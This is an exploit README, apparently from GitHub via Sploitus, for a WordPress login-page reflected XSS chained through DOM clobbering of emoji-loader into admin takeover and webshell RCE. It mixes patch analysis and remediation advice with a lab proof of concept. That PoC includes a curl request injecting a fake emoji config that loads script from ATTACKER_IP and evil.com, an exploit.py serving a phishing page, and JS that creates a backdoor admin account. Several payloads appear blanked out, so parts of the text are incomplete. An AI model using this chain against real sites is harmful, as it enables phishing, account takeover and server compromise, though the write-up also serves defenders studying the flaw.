Sploitus

Exploit for CVE-2026-64638

githubexploit Β· 2026-08-08

Exploit Code

README409 lines
## https://sploitus.com/exploit?id=484DD59E-FE2E-5C54-905D-5C2F33014E84
# CVE-2026-64638

## Reflected XSS on Login Screen Leading to PHP Code Execution β€” WordPress Core

**Software:** WordPress Core ≀ 7.0.2 (all versions prior to 7.0.3)

**CVSS:** 8.9 (High)

**CWE:** CWE-79 β€” Improper Neutralization of Input During Web Page Generation

**Authentication Required:** None (Pre-Auth)

**User Interaction:** Active (admin needs to click 1 link)

**Impact:** XSS β†’ Account Takeover β†’ Remote Code Execution

---

## 1. What is this vulnerability?

WordPress is the most popular content management system in the world, accounting for over 40% of all websites on the internet. Every WordPress site has a login page at `/wp-login.php` β€” this is a public endpoint that anyone can access without authentication.

When a user enters an incorrect username, WordPress displays an error message containing the exact username that the user just typed: *β€œThe username **X** is not registered on this site.”* The problem lies in the fact that the username value is placed directly into the HTML response **without going through any escape function** β€” an attacker simply needs to enter HTML/JavaScript instead of a real username, and the code will be executed in the browser.

This is a Reflected XSS flaw β€” the payload is contained in the request and reflected back identically by the server in the HTML. What makes it dangerous is that the flaw resides on the **login page** β€” a place frequently accessed by admins, where admin session cookies can be stolen.

The research team further discovered that this XSS can be chained with a DOM clobbering vulnerability in WordPress's emoji-loader, allowing JavaScript to be loaded from an external server. From there, an attacker can create a new admin account β†’ install a plugin containing a webshell β†’ execute PHP code on the server. This exploit chain is referred to as **XSS2Shell**.

| Attribute | Value |
| --- | --- |
| CVE ID | CVE-2026-64638 |
| CVSS Score | 8.9 (High) |
| Software | WordPress Core ≀ 7.0.2 |
| Authentication | None required (Pre-Auth) |
| User Interaction | Requires 1 click (admin clicks link) |
| Attack Complexity | High |
| Patched | WordPress 7.0.3 (08/06/2026) |
| Reporter | pwn.ai team via HackerOne |
| HackerOne Report | #3877102 |

## 2. Terminology Explanation

### DOM Clobbering and emoji-loader

WordPress loads emoji support on every page (including the login page) via the file `emoji-loader.js`. This script reads configuration from an element with `id="wp-emoji-settings"`:

```jsx
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);
```

`document.getElementById()` returns the **first** element in the DOM with a matching id. If an attacker injects a `` before the original script tag, `getElementById` will read the attacker's content instead of the real configuration. This technique is called **DOM clobbering** β€” overwriting JavaScript behavior by injecting HTML elements.

The emoji configuration contains a URL to load a JavaScript file (`concatemoji`). The attacker controls this URL β†’ loads a JS file from an external server β†’ executes arbitrary code within the browser context.

### From XSS to RCE on WordPress

Once JavaScript execution within the admin context is achieved, the attacker has full WordPress admin privileges:

1. **Create a new admin account** β€” call `/wp-admin/user-new.php` with the admin session
2. **Install a plugin containing PHP code** β€” upload a plugin via `/wp-admin/plugin-install.php`
3. **Modify a theme file** β€” insert a PHP backdoor via the Theme Editor

Any of the 3 methods above allows execution of PHP code on the server β€” meaning RCE.

## 3. Source Code Analysis β€” Root Cause

### Step 1: Locate the Sink β€” Where the username is placed into HTML

From the fix commit `0d6d42e` on `wordpress-develop`, I identified 3 locations in the file `wp-includes/user.php` where the username/email is placed directly into the error message:

```bash
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
```

**Location 1 β€” Line 189** (username does not exist):

Before : 

```php
// BEFORE (vulnerable):
sprintf(
    __( 'The username %s is not registered...' ),
    $username      // ← no escaping
)
```

![image.png](images/image.png)

After : 

```jsx
// fixed:
sprintf(
    __( 'The username %s is not registered...' ),
    esc_html( $username )    // ← escaped
)
```

**Location 2 β€” Line 216** (wrong password):

Before :

![image.png](images/image%201.png)

```php
// BEFORE:
'' . $username . ''    // ← no escaping
```

After :

```jsx
// AFTER:
'' . esc_html( $username ) . ''
```

**Location 3 β€” Line 299** (wrong password for email):

Before :

![image.png](images/image%202.png)

```php
// BEFORE:
'' . $email . ''    // ← no escaping
```

After :

```jsx
// AFTER:
'' . esc_html( $email ) . ''
```

### Step 2: Trace Source β€” Where does the data come from?

Data flow from the POST request to the error message:

```
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username %s...', $username)   ← XSS!
    ↓
WP_Error β†’ login_header() β†’ wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows , ,  through
    ↓
HTML response β†’ browser render β†’ JavaScript execute
```

### Step 3: Two Defense Layers, Weak Points, and Confirmation via Debugging

WordPress has 2 filtering layers before the username reaches the HTML:

**Layer 1: `sanitize_user()`** β€” Calls `strip_tags()` to remove HTML tags. However, PHP's `strip_tags()` has known limitations: non-standard tag formatting can bypass the filter.

**Layer 2: `wp_kses_post()`** β€” Allows a safe subset of HTML through, including ``, ``, `` with certain attributes (but strips event handlers like `onerror`, `onload`). Crucially: `wp_kses_post` **allows** `` β€” precisely the element needed for DOM clobbering.

The pwn.ai team found a way to bypass both layers to inject a useful payload. Specific technical details have not been publicly released.

#### **Debugging with Xdebug β€” Data Flow Confirmation**

To visually confirm that the username goes straight into HTML without escaping, I used Xdebug + VS Code to place breakpoints at key points in the execution chain.

**Step 1 β€” Input XSS payload into the login form:**

Access `http://localhost:8282/wp-login.php`, enter the username as `` then click Log In. An alert popup appears β€” XSS works.

![image.png](images/image%203.png)

![image.png](images/image%204.png)

**Step 2 β€” Breakpoint at `user.php:184` β€” Where XSS occurs:**

Set a breakpoint at `return new WP_Error(...)` inside the function `wp_authenticate_username_password()`. When the debugger stops, observe:

- Panel **Variables β†’ Locals**: `$username = ""` β€” intact HTML payload, not escaped
- Panel **Superglobals β†’ `$_POST`**: `log = ""` β€” confirms payload originates from form input
- Panel **Call Stack**: `wp_authenticate_username_password() β†’ WP_Hook->apply_filters β†’ apply_filters β†’ wp_authenticate β†’ wp_signon β†’ {main} wp-login.php`

![image.png](images/image%205.png)

The value `$username` goes from `$_POST['log']` β†’ `wp_unslash()` β†’ (bypasses `sanitize_user`) β†’ `sprintf()` into the error message at lines 186-189 β€” **no `esc_html()` in between**. In the lab, `sanitize_user()` was commented out to simulate the bypass discovered by pwn.ai.

**Step 3 β€” Breakpoint at `functions.php:9200` β€” Final Output:**

Set a breakpoint at `echo wp_get_admin_notice( $message, $args )` β€” this is the final line before HTML is output to the browser:

- Panel **Variables β†’ Locals**: `$message = "Error: The username  is not registered..."` β€” payload resides intact inside the HTML error message
- Line 9200 in the lab does not have `wp_kses_post()` wrapping it (patched out to simulate bypass), so the payload goes directly to the browser

![image.png](images/image%206.png)

In original WordPress, this line is `echo wp_kses_post( wp_get_admin_notice(...) )` β€” `wp_kses_post()` will strip the `onerror` attribute but **allow** `` through because `` is in the allowlist. This is the exact vector for the DOM clobbering attack.

### Step 4: Second Fix Commit β€” Hardening emoji-loader

Commit `a12c8f5` modifies `emoji-loader.js` to block DOM clobbering:

```jsx
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts  element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
```

The fix changes 3 things:
1. Uses `querySelector('script#...')` instead of `getElementById` β€” only matches `` tags
2. Checks `instanceof HTMLScriptElement` β€” prevents DOM clobbering via `` or ``
3. Uses `.text` instead of `.textContent` β€” `.text` is a specific property of `HTMLScriptElement`

After the fix, even if an attacker manages to inject ``, emoji-loader will ignore it because it is not an `` element.

## 4. Attack Chain β€” XSS2Shell

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ATTACKER                                                       β”‚
β”‚  Creates phishing link containing XSS payload                   β”‚
β”‚  POST /wp-login.php with log=       β”‚
β”‚  {"source":{"concatemoji":"https://evil.com/rce.js"}}           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                         β”‚ Sends link to admin (email, chat, etc.)
                         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ADMIN CLICKS LINK                                              β”‚
β”‚  Browser POSTs to /wp-login.php β†’ server reflects payload       β”‚
β”‚  β†’  appears in HTML                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                         β”‚ emoji-loader.js executes
                         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  DOM CLOBBERING                                                 β”‚
β”‚  getElementById('wp-emoji-settings') β†’ returns attacker div     β”‚
β”‚  JSON.parse(div.textContent) β†’ reads fake configuration         β”‚
β”‚  Loads script from https://evil.com/rce.js                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                         β”‚ JS executes in admin context
                         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ACCOUNT TAKEOVER + RCE                                         β”‚
β”‚  1. Fetch /wp-admin/user-new.php β†’ get nonce                    β”‚
β”‚  2. POST create new admin account (backdoor)                    β”‚
β”‚  3. Login using backdoor account                                β”‚
β”‚  4. Install plugin containing PHP webshell                      β”‚
β”‚  5. Call webshell β†’ RCE on server                               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

## 5. POC β€” Lab Reproduction

### 5.1 Check endpoint β€” Basic XSS

Access `http://localhost:8282/wp-login.php`, enter:

- **Username:** ``
- **Password:** arbitrary

Click Log In. If an alert popup showing β€œlocalhost” appears β†’ XSS works.

Result β€” payload reflected intact in HTML:

![image.png](images/image%207.png)

### 5.2 DOM Clobbering β€” Inject fake emoji settings

More complex payload β€” inject `` with `id="wp-emoji-settings"` containing JSON pointing to attacker's JS file:

![image.png](images/image%208.png)

```bash
# Payload: inject div clobber emoji-settings
PAYLOAD='{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"
```

If the HTML output contains `` with the attacker's JSON β†’ emoji-loader will load JS from the attacker server.

### **5.3 Full chain β€” XSS2Shell with exploit.py**

#### **Step 1: Run exploit server**

```
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
```

The script `exploit.py` serves 2 things:

- `http://127.0.0.1:9999/phish.html` β€” phishing page impersonating WordPress Security Update
- `http://127.0.0.1:9999/evil.js` β€” JS payload creating a backdoor admin account

#### **Step 2: Admin clicks phishing link**

Attacker sends link `http://127.0.0.1:9999/phish.html` to admin via email/chat. When admin clicks:

1. Phishing page auto-POSTs to `/wp-login.php` with username containing XSS payload
2. Login page renders β†’ `` appears in HTML
3. `emoji-loader.js` reads fake div β†’ loads `evil.js` from attacker server
4. `evil.js` runs in admin browser β†’ fetches `/wp-admin/user-new.php` to get nonce β†’ creates account `backdoor_xss2shell / Pwn3d!XSS2Shell`

![image.png](images/image%209.png)

The entire process occurs automatically; the admin only sees the normal login page with "username not found" error.

#### **Step 3: Attacker logins and uploads webshell**

In the lab, admin was already logged in with `admin / admin123` so `evil.js` ran immediately. After gaining access to the account, I immediately uploaded a webshell via Plugin:

![image.png](images/image%2010.png)

```

```

#### **Step 4: RCE β€” execute commands on server**

![image.png](images/image%2011.png)

![image.png](images/image%2012.png)

Output returned `www-data` β€” the attacker now has command execution privileges on the server.

## 6. Severity & Impact

| CVSS Metric | Value | Reason |
| --- | --- | --- |
| Attack Vector | Network | Via HTTP, sending link to victim |
| Attack Complexity | High | Requires bypass of `sanitize_user()` + `wp_kses_post()`, requires victim click |
| Privileges Required | None | Login endpoint requires no authentication |
| User Interaction | Active | Admin must click phishing link |
| Confidentiality | High | Read cookies, session, admin panel contents |
| Integrity | High | Create admin account, install plugin, modify files |
| Availability | High | RCE β†’ full server control |

### Real-world Impact

- Affects **all WordPress versions** prior to 7.0.3
- `/wp-login.php` endpoint is always public and cannot be hidden (unless using plugins to change login URL)
- Login page is a natural phishing target β€” admins are accustomed to clicking links to login pages
- Exploit chain **XSS β†’ DOM Clobbering β†’ Admin Takeover β†’ RCE** requires no special conditions beyond 1 click from admin
- Even without chaining to RCE, XSS on login page allows stealing session cookies (if `HttpOnly` is not set properly) or phishing credentials

## 7. Remediation

### Patched in WordPress 7.0.3

**Fix 1 β€” Escape output** (`user.php`):

```php
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
```

**Fix 2 β€” Harden emoji-loader** (`emoji-loader.js`):

```jsx
// Only accept  element, do not accept  or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}
```

**Fix 3 β€” Escape URL** (`wp-login.php`):

```php
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
```

### What WordPress Admins Should Do

1. **Update to WordPress 7.0.3 immediately** β€” patch released on 08/06/2026
2. If using an older version (6.x, 5.x, 4.7+), WordPress has backported the fix
3. Check access logs: look for POST requests to `/wp-login.php` with HTML payload in `log` parameter
4. Consider using WAF rules to block HTML tags in login form fields
5. Review the list of admin users β€” if unknown accounts are found, the site may have been compromised

### Lessons for Developers

1. **Always escape output, do not rely solely on sanitizing input.** `sanitize_user()` is designed to normalize usernames, not prevent XSS. Defense-in-depth: escaping at the output point (`esc_html`, `esc_attr`, `esc_url`) is the final and most critical defense layer.
2. **Do not use `getElementById` for security-sensitive data.** DOM clobbering can inject a fake element with the same id. Use `querySelector` with specific tag name + `instanceof` check.
3. **`wp_kses_post` is not an XSS filter.** It is designed to allow safe HTML in post content β€” not to block XSS in other contexts. Each context requires its dedicated escape function.